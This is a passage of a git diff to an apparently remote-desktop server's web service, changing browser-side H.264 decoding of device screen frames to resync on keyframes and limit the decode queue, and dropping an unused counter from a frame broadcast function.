canvas=${canvas.width}x${canvas.height}`); + } ctx.drawImage(frame, 0, 0); frame.close(); frameCount++; @@ -1330,7 +1339,7 @@ inline std::string GetWebPageHTML() { document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps'; } }, - error: (e) => { console.error('Decoder error:', e); updateScreenStatus('error', 'Decode error'); } + error: (e) => { console.error('Decoder error:', e); needKeyframe = true; } }); decoder.configure({ codec: 'avc1.42E01E', @@ -1340,20 +1349,50 @@ inline std::string GetWebPageHTML() { }); } + let decoderWidth = 0, decoderHeight = 0, needKeyframe = false; + let decodeTimestamp = 0; // Monotonically increasing timestamp for decoder + function handleBinaryFrame(data) { - if (!decoder || decoder.state !== 'configured') return; const view = new DataView(data); const deviceId = view.getUint32(0, true); const frameType = view.getUint8(4); const dataLen = view.getUint32(5, true); + const isKeyframe = frameType === 1; + + // If decoder is closed or errored, wait for keyframe to reinitialize + if (!decoder || decoder.state === 'closed') { + if (isKeyframe && decoderWidth > 0) { + console.log('Reinitializing decoder on keyframe'); + initDecoder(decoderWidth, decoderHeight); + needKeyframe = false; + } else { + needKeyframe = true; + return; + } + } + + if (decoder.state !== 'configured') return; + + // Skip delta frames if we need a keyframe + if (needKeyframe && !isKeyframe) return; + if (isKeyframe) needKeyframe = false; + const h264Data = new Uint8Array(data, 9, dataLen); try { + // Check decoder queue to avoid overwhelming it (but never skip keyframes) + if (!isKeyframe && decoder.decodeQueueSize > 10) { + needKeyframe = true; // Need keyframe to resync after skipping + return; + } decoder.decode(new EncodedVideoChunk({ - type: frameType === 1 ? 'key' : 'delta', - timestamp: performance.now() * 1000, + type: isKeyframe ? 'key' : 'delta', + timestamp: decodeTimestamp++, data: h264Data })); - } catch (e) { console.error('Decode error:', e); } + } catch (e) { + console.error('Decode error:', e); + needKeyframe = true; + } } )HTML"; diff --git a/server/2015Remote/WebService.cpp b/server/2015Remote/WebService.cpp index 026ea14..183897c 100644 --- a/server/2015Remote/WebService.cpp +++ b/server/2015Remote/WebService.cpp @@ -1428,11 +1428,9 @@ void CWebService::BroadcastH264Frame(uint64_t device_id, const uint8_t* data, si // Broadcast to all watching clients std::lock_guard lock(m_ClientsMutex); - int sent_count = 0; for (auto& [ws_ptr, client] : m_Clients) { if (client.watch_device_id == device_id) { SendBinary(ws_ptr, data, len); - sent_count++; } } // Cache keyframe (check FrameType byte at offset 4)